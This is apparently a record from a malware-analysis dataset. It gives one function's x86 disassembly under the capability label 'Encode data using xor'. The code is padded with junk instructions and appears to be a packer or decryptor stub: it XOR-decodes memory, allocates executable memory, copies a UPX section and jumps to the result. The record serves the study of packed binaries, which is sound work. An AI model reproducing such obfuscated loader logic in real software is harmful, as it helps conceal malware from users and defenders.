Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x74078771
sub edi, ebx
add edi, ebx
popal
dec ebx
add ebx, edi
mov ecx, 0
mov eax, edi
mov esi, 0x2795bfe4
not edx
add esi, 0x4398c180
mov ebx, eax
or edx, esi
sub esi, 1
and edx, edx
mov edi, ebx
add edx, esi
add edx, esi
mov esi, edx
inc ecx
inc esi
and edx, esi
cmp ecx, 0x100e3f5
jne 0x47b447
add edx, edx
dec esi
not edi
add edi, 0x7fe1182e
mov ebx, 0x5d115bb3
mov edi, 0x47b21e
mov eax, 0xf2f0bb12
sub eax, 0xe094a96e
mov edx, 0x47b412
sub esi, 0xc3b550ab
sub ebx, 1
mov ecx, dword [edi]
sub eax, 0xd0d38a72
sub eax, ebx
and ecx, 0xff
add ebx, 1
dec esi
xor dword [edx], ecx
sub esi, 0xf4683484
add esi, esi
add edx, 1
and esi, ebx
inc ebx
mov esi, 0x301364a1
add edi, 1
sub esi, ebx
or eax, eax
cmp edx, entry0
jl 0x47b4ab
mov eax, 0xc5fb40e8
sub esi, 0x5a654d02
not esi
and esi, ebx
and esi, esi
dec esi
add esi, 0x2c95a746
add esi, edx
mov ecx, 0x47b416
sub ebx, edi
sub esi, 0x205e4d16
mov ecx, dword [ecx]
mov edi, edx
sub ebx, 0x9702564e
mov ecx, dword [ecx]
not ebx
add edi, 0xfe9d6e79
inc ebx
push ecx
sub esi, 0x400b757c
add edx, 0x57d1ddbd
mov ecx, 0x47b412
dec esi
sub ebx, 1
mov ecx, dword [ecx]
inc ebx
or esi, edi
mov ecx, dword [ecx]
add edi, ebx
dec esi
and edx, edi
push 0x47b41a
sub ebx, edi
inc edx
call ecx
sub edi, 0x16cebe3
and esi, ebx
pop ecx
add esi, edx
mov edi, esi
sub esp, 4
mov dword [esp], 0x47b427
mov edi, 0xdd046ab
add edx, 0xe1621e4b
mov esi, 0x45bebf1d
sub esp, 4
mov dword [esp], eax
sub esi, edi
and ebx, edx
call ecx
dec ebx
dec edx
push 0x40
sub edi, ebx
dec esi
push 0x3000
sub edi, 1
mov edx, ebx
not edi
push 0x20000e62
dec edx
add ebx, ebx
push 0
add edx, 0x82b5a0c4
add esi, 0xae70d2f6
or esi, edi
call eax
mov esi, ebx
sub esi, edx
add edx, 0xd1c99e26
add eax, 0x20000dd0
or ebx, esi
mov edi, esi
mov ecx, 0xbcd1e502
not edx
inc ebx
add edx, 0xb2441e43
mov dword [eax], ecx
add esi, 0x7af0a14c
add edi, esi
mov ebx, 0x1baa78c
mov ecx, dword [eax]
mov edi, 0xf9f7f5d2
inc edi
cmp ecx, 0xbcd1e502
je 0x47b60c
mov ecx, 0
mov dword [ecx], edx
sub edx, 0x18259d52
sub ebx, esi
not edx
inc edi
inc edi
sub ebx, 0x11fac332
and edi, edi
mov esi, section.UPX1
add ebx, 0xd676e433
dec ebx
sub ebx, edi
mov edx, 0x47b21d
add ebx, ebx
or edi, edi
dec edi
mov ecx, 0
sub edi, 1
sub ebx, 1
mov edi, 0x5590c1b9
mov eax, 0x47b21e
add ebx, 0x7be446b3
or ebx, edi
mov ebx, 0xb7a8699
lea eax, [eax + ecx]
or edi, ebx
dec ebx
mov eax, dword [eax]
add ebx, ebx
mov ebx, 0xef7d2c1c
and eax, 0xff
sub ebx, 1
dec edi
or edi, ebx
inc ecx
add edi, 0x91af5989
sub edi, 0xb0c0cb96
cmp ecx, 0x1f4
jne 0x47b698
mov ecx, 0
or ebx, edi
not ebx
add ebx, ebx
mov edi, ebx
mov ebx, 0x1b4d062f
xor dword [esi], eax
or ebx, edi
inc ebx
add esi, 2
mov edi, ebx
add edi, 0xd616cd26
cmp esi, edx
jl 0x47b64e
sub edi, 0x61975300
sub edi, 0xd7a1e7b7
and edi, ebx
and ebx, edi
sub ebx, 0xdbeb05b0
mov ebx, section.UPX1
add edi, 0x1af53ff1
add edi, 0xe486f197
mov ecx, section.UPX1
dec edi
and edi, esi
and edi, edi
mov edx, 0x47b21d
mov esi, edi
add esi, 0x1517f8ec
mov eax, 0
mov edi, esi
add esi, esi
mov al, byte [ecx]
and edi, esi
and esi, edi
not edi
mov byte [ebx], al
not esi
dec esi
add ebx, 1
mov esi, 0x9c828666
mov edi, 0xda12437
mov edi, esi
add ecx, 2
add edi, esi
inc edi
mov esi, edi
cmp ecx, edx
jle 0x47b707
add esi, 0x8219bf2a
and edi, edi
or edi, esi
dec ebx
mov edi, ebx
not edi
sub esp, 4
mov dword [esp], 0x45e6a0
inc ebx
sub ebx, edi
ret